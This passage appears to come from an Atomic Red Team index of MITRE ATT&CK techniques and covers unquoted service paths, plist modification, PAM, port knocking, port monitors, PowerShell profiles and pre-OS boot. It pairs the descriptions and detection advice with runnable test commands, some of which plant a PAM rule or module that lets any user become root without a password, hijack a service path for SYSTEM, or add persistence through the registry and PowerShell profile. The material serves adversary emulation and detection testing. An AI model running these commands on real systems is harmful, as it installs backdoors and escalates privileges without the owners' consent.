        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
      - url: http://msdn.microsoft.com/en-us/library/ms687393
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        source_name: Microsoft WinExec
      - source_name: Microsoft Environment Property
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:03:35.217Z'
      created: '2020-03-13T17:48:58.999Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1574.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.009
        url: https://attack.mitre.org/techniques/T1574/009
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      - source_name: Microsoft CurrentControlSet Services
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
      - source_name: Help eliminate unquoted path
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
      - source_name: Windows Unquoted Services
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
      - source_name: Windows Privilege Escalation Guide
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by Unquoted Path
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:05:23.755Z'
      created: '2020-03-13T13:51:58.519Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: Path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy #{service_executable} "C:\Program Files\windows_service.exe"
          copy #{service_executable} "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1547.011:
    technique:
      created: '2020-01-24T20:02:59.149Z'
      modified: '2021-03-30T00:51:59.629Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1547.011
        url: https://attack.mitre.org/techniques/T1547/011
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
          11, 2017.
        source_name: Adding Login Items
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Plist Modification
      description: "Adversaries may modify plist files to run a program during system
        boot or user login. Property list (plist) files contain all of the information
        that macOS and OS X uses to configure applications and services. These files
        are UTF-8 encoded and formatted like XML documents via a series of keys surrounded
        by < >. They detail when programs should execute, file paths to the executables,
        program arguments, required OS permissions, and many others. plists are located
        in certain locations depending on their purpose such as <code>/Library/Preferences</code>
        (which execute with elevated privileges) and <code>~/Library/Preferences</code>
        (which execute with a user's privileges). \n\nAdversaries can modify plist
        files to execute their code as part of establishing persistence. plists may
        also be used to elevate privileges since they may execute in the context of
        another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for
        execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods
        of Mac Malware Persistence) Applications under this plist run under the logged
        in user's context, and will be started every time the user logs in. Login
        items installed using the Service Management Framework are not visible in
        the System Preferences and can only be removed by the application that created
        them.(Citation: Adding Login Items) Users have direct control over login items
        installed using a shared file list which are also visible in System Preferences
        (Citation: Adding Login Items). Some of these applications can open visible
        dialogs to the user, but they don’t all have to since there is an option to
        \"hide\" the window. If an adversary can register their own login item or
        modified an existing one, then they can use it to execute their code for a
        persistence mechanism each time the user logs in (Citation: Malware Persistence
        on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code>
        can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002)
        can do this as well. (Citation: Adding Login Items)"
      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.

        All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)

        Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - macOS
      identifier: T1547.011
    atomic_tests:
    - name: Plist Modification
      auto_generated_guid: 394a538e-09bb-4a4a-95d1-b93cf12682a8
      description: 'Modify MacOS plist file in one of two directories

'
      supported_platforms:
      - macos
      executor:
        steps: |
          1. Modify a .plist in

              /Library/Preferences

              OR

              ~/Library/Preferences

          2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
        name: manual
  T1556.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pluggable Authentication Modules
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:12:34.422Z'
      created: '2020-06-26T04:01:09.648Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - root
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: Path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: Path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

'
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

'
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

'
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

'
        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

'
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
  T1205.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T01:26:31.804Z'
      created: '2020-07-01T18:23:25.002Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
    atomic_tests: []
  T1547.010:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.010
        url: https://attack.mitre.org/techniques/T1547/010
      - url: http://msdn.microsoft.com/en-us/library/dd183341
        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
          2014.
        source_name: AddMonitor
      - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
          slides&#93;. Retrieved November 12, 2014.
        source_name: Bloxham
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Port Monitors
      description: "Adversaries may use port monitors to run an attacker supplied
        DLL during system boot for persistence or privilege escalation. A port monitor
        can be set through the <code>AddMonitor</code> API call to set a DLL to be
        loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code>
        and will be loaded by the print spooler service, spoolsv.exe, on boot. The
        spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham)
        Alternatively, an arbitrary DLL can be loaded if permissions allow writing
        a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        \n\nThe Registry key contains entries for the following:\n\n* Local Port\n*
        Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this
        technique to load malicious code at startup that will persist on system reboot
        and execute as SYSTEM."
      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-01-24T19:46:27.750Z'
      created: '2020-01-24T19:46:27.750Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
        AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
        abnormal. New DLLs written to the System32 directory that do not correlate
        with known good software or patching may be suspicious. \n\nMonitor Registry
        writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        Run the Autoruns utility, which checks for this Registry key as a persistence
        mechanism (Citation: TechNet Autoruns)"
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_contributors:
      - Stefan Kanthak
      - Travis Smith, Tripwire
      x_mitre_platforms:
      - Windows
      identifier: T1547.010
    atomic_tests:
    - name: Add Port Monitor persistence in Registry
      auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50
      description: Add key-value pair to a Windows Port Monitor registry. On the subsequent
        reboot dll will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
      supported_platforms:
      - windows
      input_arguments:
        monitor_dll:
          description: Addition to port monitor registry key. Normally refers to a
            DLL name in C:\Windows\System32. arbitrary DLL can be loaded if permissions
            allow writing a fully-qualified pathname for that DLL.
          type: Path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\ART"
          /v "Atomic Red Team" /d "#{monitor_dll}" /t REG_SZ

'
        cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\ART"
          /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1546.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.013
        url: https://attack.mitre.org/techniques/T1546/013
      - source_name: Microsoft About Profiles
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
          14, 2019.
      - source_name: ESET Turla PowerShell May 2019
        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
          usage. Retrieved June 14, 2019.
      - source_name: Wits End and Shady PowerShell Profiles
        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        source_name: Malware Archaeology PowerShell Cheat Sheet
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: PowerShell Profile
      description: "Adversaries may gain persistence and elevate privileges by executing
        malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
        is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001)
        supports several profiles depending on the user or host program. For example,
        there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        host programs such as the PowerShell console, PowerShell ISE or Visual Studio
        Code. An administrator can also configure a profile that applies to all users
        and host programs on the local computer. (Citation: Microsoft About Profiles)
        \n\nAdversaries may modify these profiles to include arbitrary commands, functions,
        modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        session the modified script will be executed unless the <code>-NoProfile</code>
        flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
        \n\nAn adversary may also be able to escalate privileges if a script in a
        PowerShell profile is loaded and executed by an account with higher privileges,
        such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T21:31:31.082Z'
      created: '2020-01-24T15:11:02.758Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:

        * <code>$PsHome\Profile.ps1</code>
        * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
        * <code>$Home\My Documents\PowerShell\Profile.ps1</code>
        * <code>$Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>

        Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_contributors:
      - Allen DeRyke, ICE
      x_mitre_platforms:
      - Windows
      identifier: T1546.013
    atomic_tests:
    - name: Append malicious start-process cmdlet
      auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896'
      description: 'Appends a start process cmdlet to the current user''s powershell
        profile pofile that points to a malicious executable. Upon execution, calc.exe
        will be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: Path the malicious executable
          type: Path
          default: calc.exe
        ps_profile:
          description: Powershell profile to use
          type: String
          default: "$profile"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ensure a powershell profile exists for the current user

'
        prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1}

'
        get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force

'
      executor:
        command: |
          Add-Content #{ps_profile} -Value ""
          Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
          powershell -Command exit
        cleanup_command: |
          $oldprofile = cat $profile | Select-Object -skiplast 1
          Set-Content $profile -Value $oldprofile
        name: powershell
  T1542:
    technique:
      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
      description: |-
        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
      name: Pre-OS Boot
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542
        url: https://attack.mitre.org/techniques/T1542
      - source_name: Wikipedia Booting
        url: https://en.wikipedia.org/wiki/Booting
        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-10-22T16:35:54.740Z'
      created: '2019-11-13T14:44:49.439Z'
      x_mitre_platforms:
      - Linux
      - Windows
      - Network
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      - 'Driver: Driver Metadata'
      - 'Process: OS API Execution'
      - 'Drive: Drive Modification'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_version: '1.1'
      x_mitre_detection: |-
        Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.

        Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1547.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.012
        url: https://attack.mitre.org/techniques/T1547/012
      - source_name: Microsoft AddPrintProcessor May 2018
        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
          October 5, 2020.
      - source_name: ESET PipeMon May 2020
        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
          Group. Retrieved August 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
